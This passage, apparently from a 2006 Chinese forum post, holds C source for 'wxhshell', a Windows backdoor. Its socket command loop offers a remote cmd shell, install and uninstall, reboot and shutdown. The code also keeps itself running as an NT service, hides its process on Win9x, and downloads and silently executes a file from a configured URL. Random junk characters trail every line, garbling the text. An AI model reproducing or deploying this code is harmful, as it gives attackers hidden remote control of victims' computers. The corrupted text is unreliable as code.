    switch(cmd[0]) { v)*eLX$  
  a"k,x-EL(  
  // 帮助 !8RJHMX&  
  case '?': { =~dsIG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ER4#5gd  
    break; 7EL0!:Pp3  
  } vQDR;T"]  
  // 安装 @Qqf4 h  
  case 'i': { CwO$EL:[`  
    if(Install()) Y&i&H=U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~4ijiw$  
    else >R\@W(-g`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %@C$xM"  
    break; fRzJiM{  
    } T+!0`~`  
  // 卸载 q1|@v#kH6  
  case 'r': { ;\T~Hc}&;  
    if(Uninstall()) u(`7F(R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e.!~7c_z?  
    else o+S?j*mv@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F5w=tK  
    break; =[gFaB_H  
    } D2\EpL/  
  // 显示 wxhshell 所在路径 H Ds8M  
  case 'p': { :"+3Uk2  
    char svExeFile[MAX_PATH]; *kJa$3*r  
    strcpy(svExeFile,"\n\r"); QxBH{TG  
      strcat(svExeFile,ExeFile); ya;(D 8x)  
        send(wsh,svExeFile,strlen(svExeFile),0); Jf@Xz7{z  
    break; q+lCA#Sx  
    } h?GE-F  
  // 重启 2k`Q+[?{q>  
  case 'b': { j?! /#'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8,B#W#*{  
    if(Boot(REBOOT)) G/KTF2wl7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~BXy)IB6  
    else { ?.nD!S@  
    closesocket(wsh); _Vr}ipx-k  
    ExitThread(0); H\|H]:CE  
    } Jb8%A@Z+  
    break; Q:Y`^jP   
    } }</"~Kw!  
  // 关机 op_ 1J;RF  
  case 'd': { 2W63/kRbU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xQqZi b5I  
    if(Boot(SHUTDOWN)) #}UI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YD5mJ[1t"2  
    else { !Jaj2mS.N  
    closesocket(wsh); .WGrzhsV  
    ExitThread(0); GGGz7_s ?  
    } }&EdA;/o_  
    break; uN$ <7KB"  
    } qp/nWGj  
  // 获取shell P_ b8_ydU  
  case 's': { :IozWPs*  
    CmdShell(wsh); (%{!TJgZR  
    closesocket(wsh); >5Sm.7}R  
    ExitThread(0); Q1DiEg  
    break; u4[rA2Bf8E  
  } m!Aw,*m+*  
  // 退出 =%;TVJk*a  
  case 'x': { }y%mG&KSz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XBTjb  
    CloseIt(wsh); _+&/P&  
    break; \Iz-<:gA'  
    } F=;nWQ&  
  // 离开 DM{Z#b]  
  case 'q': { t y%Hrw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7t6TB*H  
    closesocket(wsh); iDlg>UYd  
    WSACleanup(); FOuPj+}F  
    exit(1); |eej}G(,m}  
    break; ^O3p:X4u  
        } |b|bL 7nx  
  } U+@rLQ.-  
  } ?a~#`<  
u9ue>I /  
  // 提示信息 PkF'#W%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /I0}(;^y  
} %nj{eT  
  } <\?dPRw2>  
z s[zB#  
  return; I$I',x5Z  
} [} "m4+  
8fQXif\z  
// shell模块句柄 =o4McV}  
int CmdShell(SOCKET sock) hDTM\>.c;s  
{ <A] Kg  
STARTUPINFO si; L^jhr>-";  
ZeroMemory(&si,sizeof(si)); ]Q{MF- EKj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XC[bEp$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F2$?[1^f  
PROCESS_INFORMATION ProcessInfo; y~rtYI  
char cmdline[]="cmd"; )`<7qT_BM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L!:;H,  
  return 0; ,Z[pLF  
} }[By N).  
k FE<M6a9@  
// 自身启动模式 J-~:W~Qx4N  
int StartFromService(void) h.aXW]]}(P  
{ r59BBW)M  
typedef struct U5H5QW+  
{ qmbhx9V   
  DWORD ExitStatus; oMF[<Xf  
  DWORD PebBaseAddress; |Q#CQz  
  DWORD AffinityMask; 3x E^EXV  
  DWORD BasePriority;  *l-F  
  ULONG UniqueProcessId; /SJI ~f+$  
  ULONG InheritedFromUniqueProcessId; ;)!);q+  
}   PROCESS_BASIC_INFORMATION; 4,7W*mr3(  
`FIS2sl/  
PROCNTQSIP NtQueryInformationProcess; <f@ A\  
-K iI&Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O[HBw~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7u[$  
lBO x B/`  
  HANDLE             hProcess; ?xzDz  
  PROCESS_BASIC_INFORMATION pbi; NE-c[|rq  
42,K8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nbU?:=P  
  if(NULL == hInst ) return 0; >2LlBLQ  
Trml?zexD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vOBXAF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^ V8?6E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gqACIXR  
3qwSm <  
  if (!NtQueryInformationProcess) return 0; _S6SCSFc  
L7$1rO<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2<^eVpNJR  
  if(!hProcess) return 0; 5OHF=wh  
X5o{d4R L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q Pp>%iE@  
m7,;Hr(  
  CloseHandle(hProcess); C'fQ Z,r-v  
ZNY), 3?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J8PZVeWx  
if(hProcess==NULL) return 0; }wV/)Oy[  
wy# 5p]!u  
HMODULE hMod; r_M5:Rz  
char procName[255]; v^(J+d_>   
unsigned long cbNeeded; 2I1CKA:7g  
"l 1z@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C 4hvk'=  
e2M jV8Bs  
  CloseHandle(hProcess); QhmOO-Z?  
p!2t/XIM  
if(strstr(procName,"services")) return 1; // 以服务启动 tcj3x<  
hg}R(.1K=  
  return 0; // 注册表启动 ~X1<x4P\  
} ^97\TmzP{  
l=^^l`  
// 主模块 U7d05y'  
int StartWxhshell(LPSTR lpCmdLine) 2B=+p83<  
{ ,:?=j80m  
  SOCKET wsl; jI,?*n<  
BOOL val=TRUE; <+e&E9;>6  
  int port=0; 7B#HF?,?  
  struct sockaddr_in door; \$D41_Wt|  
9l:vVp7Uk  
  if(wscfg.ws_autoins) Install(); ? ]hS^&  
(/3E,6gMk^  
port=atoi(lpCmdLine); 6yXMre)YV  
<'z.3@D  
if(port<=0) port=wscfg.ws_port; GQ= Pkko  
8Z(\iZ5Rgj  
  WSADATA data; EY'48S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5tm:|.`SQ  
t-$Hti7Lk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lhduK4u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qre(3,VE5  
  door.sin_family = AF_INET; IyGW>g6_.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); khfWU  
  door.sin_port = htons(port); 6eAJ >9@x  
=FXq=x%9+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t{Gc,S!]5  
closesocket(wsl); \xexl1_;  
return 1; _f<#+*y  
} 55vI^SSA  
-3&mgd  
  if(listen(wsl,2) == INVALID_SOCKET) { +{"w5o<CO  
closesocket(wsl); ]`_eaW?Ua  
return 1; RWINdJZ  
} 0;x<0P  
  Wxhshell(wsl); 5Z(#)sa0Og  
  WSACleanup(); E sx`UG|  
$5Tjo T  
return 0; [HSN*LXe  
JD{AwE@Ro  
} .vhEm6wJUM  
EF[I@voc  
// 以NT服务方式启动 (pkq{: Fs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t gHXIr}3  
{ X16r$~Pb  
DWORD   status = 0; p#tbN5i[{7  
  DWORD   specificError = 0xfffffff; 2qfKDZ9f^  
v!%VH?cA8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #kPsg9Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @w@ `-1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $z'_Hr'  
  serviceStatus.dwWin32ExitCode     = 0; :, Ad1(  
  serviceStatus.dwServiceSpecificExitCode = 0; VfJdCg_  
  serviceStatus.dwCheckPoint       = 0; 9:]|TIPi  
  serviceStatus.dwWaitHint       = 0; FpFkZFtG'm  
.V?>Jhok  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SyCa~M!}>  
  if (hServiceStatusHandle==0) return; 95hdQ<W  
IltU6=]"l  
status = GetLastError(); 53)*i\9&  
  if (status!=NO_ERROR) Lo^gg#o  
{ K8g9IZ*lT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]:F?k#c  
    serviceStatus.dwCheckPoint       = 0; \4roM1&[  
    serviceStatus.dwWaitHint       = 0; u^]Z{K_B  
    serviceStatus.dwWin32ExitCode     = status; I=}pT50~9  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1\ab3n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )5U2-g#U  
    return; 2)47$eu  
  } o&U/e\zy  
$JZ}=\n7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G.sf>.[  
  serviceStatus.dwCheckPoint       = 0; RL~]mI!U  
  serviceStatus.dwWaitHint       = 0; 6SN$El 0|G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x] j&Knli  
} LCkaSv/[RB  
gaxxB]8  
// 处理NT服务事件,比如:启动、停止 sD ,FJ:dy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wc!.{2  
{ rEG!A87Zz  
switch(fdwControl) EawtT  
{ :}p<Hq 8Z  
case SERVICE_CONTROL_STOP: 8I,/ysT:  
  serviceStatus.dwWin32ExitCode = 0; X UcM~U-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G=qT{c 8Q  
  serviceStatus.dwCheckPoint   = 0; OysO55i  
  serviceStatus.dwWaitHint     = 0; |g8Q.*"l[  
  { A<<Bm M.%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1n|K   
  }  $qyST  
  return; f,QBj{M,  
case SERVICE_CONTROL_PAUSE: S# sar}-I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]O.Z4+6w  
  break; kCZxv"Ts  
case SERVICE_CONTROL_CONTINUE: Swnom?t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t6a$ZN;  
  break; `} :~,E  
case SERVICE_CONTROL_INTERROGATE: |;MW98 A  
  break; 0rj50$~$]  
}; RqRyZ*n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nr:%yvk%s  
} { '1e?  
`/L D:R  
// 标准应用程序主函数 &1$|KbmV4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a7wc>@9Q,  
{ U# 7K^(E9  
XD$;K$_7  
// 获取操作系统版本 ^A' Bghy  
OsIsNt=GetOsVer(); ;J&9 l >  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <A@qN95m  
.YxcXe3#  
  // 从命令行安装  a5@XD_b  
  if(strpbrk(lpCmdLine,"iI")) Install(); U((mOm6  
I2^ Eo5'  
  // 下载执行文件 *ci%c^}V  
if(wscfg.ws_downexe) { dtd}P~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fi;00>y  
  WinExec(wscfg.ws_filenam,SW_HIDE); Tg\wBhJr|  
} %:/?eZ  
`sPH7^R  
if(!OsIsNt) { ewORb  
// 如果时win9x,隐藏进程并且设置为注册表启动 4+'d">+|  
HideProc(); u:GDM   
StartWxhshell(lpCmdLine); 6R+EG{`  
} /w2jlu}yt  
else 2<33BBlWA  
  if(StartFromService()) {}1KI+s9\  
  // 以服务方式启动 QTT2P(Pz  
  StartServiceCtrlDispatcher(DispatchTable); GBo'=  
else $3je+=ER  
  // 普通方式启动 0>)F+QC  
  StartWxhshell(lpCmdLine); gL}x| Q2`  
]iE) 8X  
return 0; ISALR{Aq  
}
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只看该作者 1 发表于: 2006-10-10
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